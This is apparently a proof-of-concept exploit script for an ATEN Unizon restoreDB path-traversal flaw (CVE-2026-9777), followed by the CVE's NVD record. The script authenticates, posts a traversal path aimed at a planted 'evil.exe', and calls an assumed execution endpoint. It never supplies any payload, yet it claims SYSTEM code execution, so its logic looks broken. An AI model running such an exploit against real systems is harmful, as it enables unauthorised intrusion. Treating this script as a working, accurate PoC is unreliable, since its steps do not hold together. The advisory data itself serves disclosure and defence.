CVE-2026-9777

# CVE-2026-9777 PoC - ATEN Unizon restoreDB Directory Traversal RCE # Vulnerability: Path traversal in restoreDB method leading to RCE as SYSTEM # Original advisory: ZDI-CAN-28578 / ZDI-26-381 import requests import sys TARGET_HOST = sys.argv[1] if len(sys.argv) > 1 else "https://aten-unizon-target" USERNAME = sys.argv[2] if len(sys.argv) > 2 else "admin" PASSWORD = sys.argv[3] if len(sys.argv) > 3 else "password" # Malicious payload: directory traversal path used in restoreDB method # The traversal sequence escapes the intended backup directory and # targets a writable location under the SYSTEM context. MALICIOUS_PATH = ( "..\\..\\..\\..\\ProgramData\\ATEN\\Unizon\\uploads\\evil.exe" ) session = requests.Session() # Step 1: Authenticate to ATEN Unizon management console login_url = f"{TARGET_HOST}/api/login" login_payload = { "username": USERNAME, "password": PASSWORD } resp = session.post(login_url, json=login_payload, verify=False) resp.raise_for_status() print(f"[+] Authenticated as {USERNAME}") # Step 2: Invoke the vulnerable restoreDB method with traversal path restore_url = f"{TARGET_HOST}/api/system/restoreDB" restore_payload = { "backupPath": MALICIOUS_PATH, "options": { "overwrite": True, "validate": False } } resp = session.post(restore_url, json=restore_payload, verify=False) print(f"[+] restoreDB response: {resp.status_code}") # Step 3: Trigger execution of the planted payload trigger_url = f"{TARGET_HOST}/api/system/restoreDB/exec" resp = session.post(trigger_url, json={"path": MALICIOUS_PATH}, verify=False) print(f"[+] Trigger response: {resp.status_code}") print("[+] Exploit completed - code execution expected as SYSTEM")

{"cve": {"id": "CVE-2026-9777", "sourceIdentifier": "[email protected]", "published": "2026-06-24T22:16:50.370", "lastModified": "2026-06-25T14:23:56.107", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "ATEN Unizon restoreDB Directory Traversal Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of ATEN Unizon. Authentication is required to exploit this vulnerability.\n\nThe specific flaw exists within the restoreDB method. The issue results from the lack of proper validation of a user-supplied path prior to using it in file operations. An attacker can leverage this vulnerability to execute code in the context of SYSTEM. Was ZDI-CAN-28578."}], "affected": [{"source": "[email protected]", "affectedData": [{"vendor": "ATEN", "product": "Unizon", "defaultStatus": "unknown", "versions": [{"version": "2.7.262.002", "status": "affected"}]}]}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}], "ssvcV203": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "ssvcData": {"timestamp": "2026-06-25T12:51:12.635662Z", "id": "CVE-2026-9777", "options": [{"exploitation": "none"}, {"automatable": "no"}, {"technicalImpact": "total"}], "role": "CISA Coordinator", "version": "2.0.3"}}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://www.aten.com/global/en/supportcenter/info/security-advisory/30/", "source": "[email protected]"}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-381/", "source": "[email protected]"}]}}